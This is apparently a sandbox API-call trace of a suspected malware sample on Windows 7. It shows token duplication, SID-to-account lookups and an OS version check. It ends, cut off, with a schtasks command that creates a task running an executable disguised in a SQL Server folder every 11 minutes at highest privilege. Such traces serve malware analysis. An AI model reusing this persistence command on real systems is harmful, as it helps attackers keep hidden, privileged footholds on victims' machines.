[0064.539] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0064.540] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0064.540] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0064.540] malloc (_Size=0x18) returned 0xeef20 [0064.540] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x238) returned 1 [0064.540] malloc (_Size=0x48) returned 0xed270 [0064.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4f8c1640, dwHighDateTime=0x1d9eb0c)) [0064.540] SetEvent (hEvent=0x1f0) returned 1 [0064.544] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0064.544] GetLastError () returned 0x7a [0064.544] malloc (_Size=0x2c) returned 0xee200 [0064.544] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0064.544] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0064.544] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0064.544] malloc (_Size=0x1c) returned 0xeff00 [0064.544] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0064.544] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0064.544] malloc (_Size=0x18) returned 0xef0a0 [0064.544] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0064.544] malloc (_Size=0x18) returned 0xeef00 [0064.544] malloc (_Size=0x18) returned 0xef020 [0064.545] SysStringLen (param_1="S-1-") returned 0x4 [0064.545] SysStringLen (param_1="5") returned 0x1 [0064.545] memcpy (in: _Dst=0x3810e8, _Src=0x35eae8, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0064.545] memcpy (in: _Dst=0x3810f0, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0064.545] free (_Block=0xef0a0) [0064.545] free (_Block=0xeef00) [0064.545] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0064.545] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0064.545] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0064.545] malloc (_Size=0x18) returned 0xeef00 [0064.545] malloc (_Size=0x18) returned 0xef0a0 [0064.545] SysStringLen (param_1="S-1-5") returned 0x5 [0064.545] SysStringLen (param_1="-") returned 0x1 [0064.545] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xc | out: _Dst=0x3812f8) returned 0x3812f8 [0064.545] memcpy (in: _Dst=0x381302, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x381302) returned 0x381302 [0064.545] free (_Block=0xef020) [0064.545] free (_Block=0xeef00) [0064.546] malloc (_Size=0x18) returned 0xeef00 [0064.546] malloc (_Size=0x18) returned 0xef020 [0064.546] SysStringLen (param_1="S-1-5-") returned 0x6 [0064.546] SysStringLen (param_1="21") returned 0x2 [0064.546] memcpy (in: _Dst=0x35eae8, _Src=0x3812f8, _Size=0xe | out: _Dst=0x35eae8) returned 0x35eae8 [0064.546] memcpy (in: _Dst=0x35eaf4, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x35eaf4) returned 0x35eaf4 [0064.546] free (_Block=0xef0a0) [0064.546] free (_Block=0xeef00) [0064.546] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0064.546] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0064.546] malloc (_Size=0x18) returned 0xeef00 [0064.546] malloc (_Size=0x18) returned 0xef0a0 [0064.546] SysStringLen (param_1="S-1-5-21") returned 0x8 [0064.546] SysStringLen (param_1="-") returned 0x1 [0064.546] memcpy (in: _Dst=0x3810e8, _Src=0x35eae8, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0064.546] memcpy (in: _Dst=0x3810f8, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0064.546] free (_Block=0xef020) [0064.546] free (_Block=0xeef00) [0064.546] malloc (_Size=0x18) returned 0xeef00 [0064.546] malloc (_Size=0x18) returned 0xef020 [0064.546] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0064.546] SysStringLen (param_1="4219442223") returned 0xa [0064.546] memcpy (in: _Dst=0x337788, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0064.546] memcpy (in: _Dst=0x33779a, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0064.547] free (_Block=0xef0a0) [0064.547] free (_Block=0xeef00) [0064.547] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0064.547] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0064.547] malloc (_Size=0x18) returned 0xeef00 [0064.547] malloc (_Size=0x18) returned 0xef0a0 [0064.547] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0064.547] SysStringLen (param_1="-") returned 0x1 [0064.547] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0064.547] memcpy (in: _Dst=0x337ace, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0064.547] free (_Block=0xef020) [0064.547] free (_Block=0xeef00) [0064.547] malloc (_Size=0x18) returned 0xeef00 [0064.547] malloc (_Size=0x18) returned 0xef020 [0064.547] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0064.547] SysStringLen (param_1="4223814209") returned 0xa [0064.547] memcpy (in: _Dst=0x34d958, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0064.547] memcpy (in: _Dst=0x34d980, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0064.547] free (_Block=0xef0a0) [0064.547] free (_Block=0xeef00) [0064.547] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0064.548] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0064.548] malloc (_Size=0x18) returned 0xeef00 [0064.548] malloc (_Size=0x18) returned 0xef0a0 [0064.548] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0064.548] SysStringLen (param_1="-") returned 0x1 [0064.548] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0064.548] memcpy (in: _Dst=0x3276a4, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0064.548] free (_Block=0xef020) [0064.548] free (_Block=0xeef00) [0064.548] malloc (_Size=0x18) returned 0xeef00 [0064.548] malloc (_Size=0x18) returned 0xef020 [0064.548] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0064.548] SysStringLen (param_1="3835049652") returned 0xa [0064.548] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0064.548] memcpy (in: _Dst=0x34d996, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0064.548] free (_Block=0xef0a0) [0064.548] free (_Block=0xeef00) [0064.548] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0064.548] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0064.548] malloc (_Size=0x18) returned 0xeef00 [0064.548] malloc (_Size=0x18) returned 0xef0a0 [0064.548] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0064.548] SysStringLen (param_1="-") returned 0x1 [0064.548] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0064.549] memcpy (in: _Dst=0x3276ba, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0064.549] free (_Block=0xef020) [0064.549] free (_Block=0xeef00) [0064.549] malloc (_Size=0x18) returned 0xeef00 [0064.549] malloc (_Size=0x18) returned 0xef020 [0064.549] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0064.549] SysStringLen (param_1="1000") returned 0x4 [0064.549] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0064.549] memcpy (in: _Dst=0x34d9ac, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0064.549] free (_Block=0xef0a0) [0064.549] free (_Block=0xeef00) [0064.549] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0064.549] malloc (_Size=0x5e) returned 0xf0800 [0064.549] free (_Block=0xef020) [0064.549] malloc (_Size=0x18) returned 0xef020 [0064.550] free (_Block=0xf0800) [0064.550] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0064.551] GetLastError () returned 0x7a [0064.551] malloc (_Size=0x14) returned 0xeef00 [0064.551] malloc (_Size=0x16) returned 0xef0a0 [0064.551] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0064.551] malloc (_Size=0x18) returned 0xef040 [0064.551] malloc (_Size=0x18) returned 0xeef60 [0064.551] free (_Block=0xeef00) [0064.551] free (_Block=0xef0a0) [0064.552] free (_Block=0xeff00) [0064.552] free (_Block=0xeef60) [0064.552] free (_Block=0xef040) [0064.552] free (_Block=0xef020) [0064.552] free (_Block=0xee200) [0064.552] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0064.552] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0064.552] GetLastError () returned 0x7a [0064.552] malloc (_Size=0x2c) returned 0xee240 [0064.552] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0064.553] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0064.553] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0064.553] malloc (_Size=0x1c) returned 0xeff00 [0064.553] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0064.553] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0064.553] malloc (_Size=0x18) returned 0xef020 [0064.553] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0064.553] malloc (_Size=0x18) returned 0xef040 [0064.553] malloc (_Size=0x18) returned 0xeef60 [0064.553] SysStringLen (param_1="S-1-") returned 0x4 [0064.553] SysStringLen (param_1="5") returned 0x1 [0064.553] memcpy (in: _Dst=0x35eae8, _Src=0x3812f8, _Size=0xa | out: _Dst=0x35eae8) returned 0x35eae8 [0064.553] memcpy (in: _Dst=0x35eaf0, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x35eaf0) returned 0x35eaf0 [0064.553] free (_Block=0xef020) [0064.553] free (_Block=0xef040) [0064.553] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0064.553] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0064.553] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0064.553] malloc (_Size=0x18) returned 0xef040 [0064.553] malloc (_Size=0x18) returned 0xef020 [0064.553] SysStringLen (param_1="S-1-5") returned 0x5 [0064.553] SysStringLen (param_1="-") returned 0x1 [0064.553] memcpy (in: _Dst=0x3810e8, _Src=0x35eae8, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0064.553] memcpy (in: _Dst=0x3810f2, _Src=0x3812f8, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0064.553] free (_Block=0xeef60) [0064.554] free (_Block=0xef040) [0064.554] malloc (_Size=0x18) returned 0xef040 [0064.554] malloc (_Size=0x18) returned 0xeef60 [0064.554] SysStringLen (param_1="S-1-5-") returned 0x6 [0064.554] SysStringLen (param_1="21") returned 0x2 [0064.554] memcpy (in: _Dst=0x3812f8, _Src=0x3810e8, _Size=0xe | out: _Dst=0x3812f8) returned 0x3812f8 [0064.554] memcpy (in: _Dst=0x381304, _Src=0x35eae8, _Size=0x6 | out: _Dst=0x381304) returned 0x381304 [0064.554] free (_Block=0xef020) [0064.554] free (_Block=0xef040) [0064.554] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0064.554] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0064.554] malloc (_Size=0x18) returned 0xef040 [0064.554] malloc (_Size=0x18) returned 0xef020 [0064.554] SysStringLen (param_1="S-1-5-21") returned 0x8 [0064.554] SysStringLen (param_1="-") returned 0x1 [0064.554] memcpy (in: _Dst=0x35eae8, _Src=0x3812f8, _Size=0x12 | out: _Dst=0x35eae8) returned 0x35eae8 [0064.554] memcpy (in: _Dst=0x35eaf8, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x35eaf8) returned 0x35eaf8 [0064.554] free (_Block=0xeef60) [0064.554] free (_Block=0xef040) [0064.554] malloc (_Size=0x18) returned 0xef040 [0064.554] malloc (_Size=0x18) returned 0xeef60 [0064.554] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0064.554] SysStringLen (param_1="4219442223") returned 0xa [0064.555] memcpy (in: _Dst=0x337788, _Src=0x35eae8, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0064.555] memcpy (in: _Dst=0x33779a, _Src=0x3812f8, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0064.555] free (_Block=0xef020) [0064.555] free (_Block=0xef040) [0064.555] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0064.555] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0064.555] malloc (_Size=0x18) returned 0xef040 [0064.555] malloc (_Size=0x18) returned 0xef020 [0064.555] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0064.555] SysStringLen (param_1="-") returned 0x1 [0064.555] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0064.555] memcpy (in: _Dst=0x337ace, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0064.555] free (_Block=0xeef60) [0064.555] free (_Block=0xef040) [0064.555] malloc (_Size=0x18) returned 0xef040 [0064.555] malloc (_Size=0x18) returned 0xeef60 [0064.555] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0064.555] SysStringLen (param_1="4223814209") returned 0xa [0064.555] memcpy (in: _Dst=0x327668, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0064.555] memcpy (in: _Dst=0x327690, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0064.555] free (_Block=0xef020) [0064.555] free (_Block=0xef040) [0064.555] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0064.556] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0064.556] malloc (_Size=0x18) returned 0xef040 [0064.556] malloc (_Size=0x18) returned 0xef020 [0064.556] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0064.556] SysStringLen (param_1="-") returned 0x1 [0064.556] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0064.556] memcpy (in: _Dst=0x34d994, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0064.556] free (_Block=0xeef60) [0064.556] free (_Block=0xef040) [0064.556] malloc (_Size=0x18) returned 0xef040 [0064.556] malloc (_Size=0x18) returned 0xeef60 [0064.556] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0064.556] SysStringLen (param_1="3835049652") returned 0xa [0064.556] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0064.556] memcpy (in: _Dst=0x3276a6, _Src=0x35eae8, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0064.556] free (_Block=0xef020) [0064.556] free (_Block=0xef040) [0064.556] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0064.556] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0064.556] malloc (_Size=0x18) returned 0xef040 [0064.556] malloc (_Size=0x18) returned 0xef020 [0064.556] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0064.557] SysStringLen (param_1="-") returned 0x1 [0064.557] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0064.557] memcpy (in: _Dst=0x34d9aa, _Src=0x35eae8, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0064.557] free (_Block=0xeef60) [0064.557] free (_Block=0xef040) [0064.557] malloc (_Size=0x18) returned 0xef040 [0064.557] malloc (_Size=0x18) returned 0xeef60 [0064.557] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0064.557] SysStringLen (param_1="1000") returned 0x4 [0064.557] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0064.557] memcpy (in: _Dst=0x3276bc, _Src=0x35eae8, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0064.557] free (_Block=0xef020) [0064.557] free (_Block=0xef040) [0064.557] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0064.557] malloc (_Size=0x5e) returned 0xf0800 [0064.557] free (_Block=0xeef60) [0064.557] malloc (_Size=0x18) returned 0xeef60 [0064.558] free (_Block=0xf0800) [0064.558] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0064.559] GetLastError () returned 0x7a [0064.559] malloc (_Size=0x14) returned 0xef040 [0064.559] malloc (_Size=0x16) returned 0xef020 [0064.559] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebccb4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0064.559] malloc (_Size=0x18) returned 0xef0a0 [0064.559] malloc (_Size=0x18) returned 0xeef00 [0064.560] free (_Block=0xef040) [0064.560] free (_Block=0xef020) [0064.560] free (_Block=0xeff00) [0064.560] free (_Block=0xeef00) [0064.560] free (_Block=0xef0a0) [0064.560] free (_Block=0xeef60) [0064.561] free (_Block=0xee240) [0064.569] malloc (_Size=0x48) returned 0xed400 [0064.570] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0064.575] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0064.575] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0064.575] malloc (_Size=0x18) returned 0xeef60 [0064.575] CreateEnvironmentBlock () returned 0x1 [0064.586] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0064.586] malloc (_Size=0x18) returned 0xef0a0 [0064.586] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 11 /tr \"'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"choicec\" /sc MINUTE /mo 11 /tr \"'C:\\Program Files (x86)\\Microsoft SQL 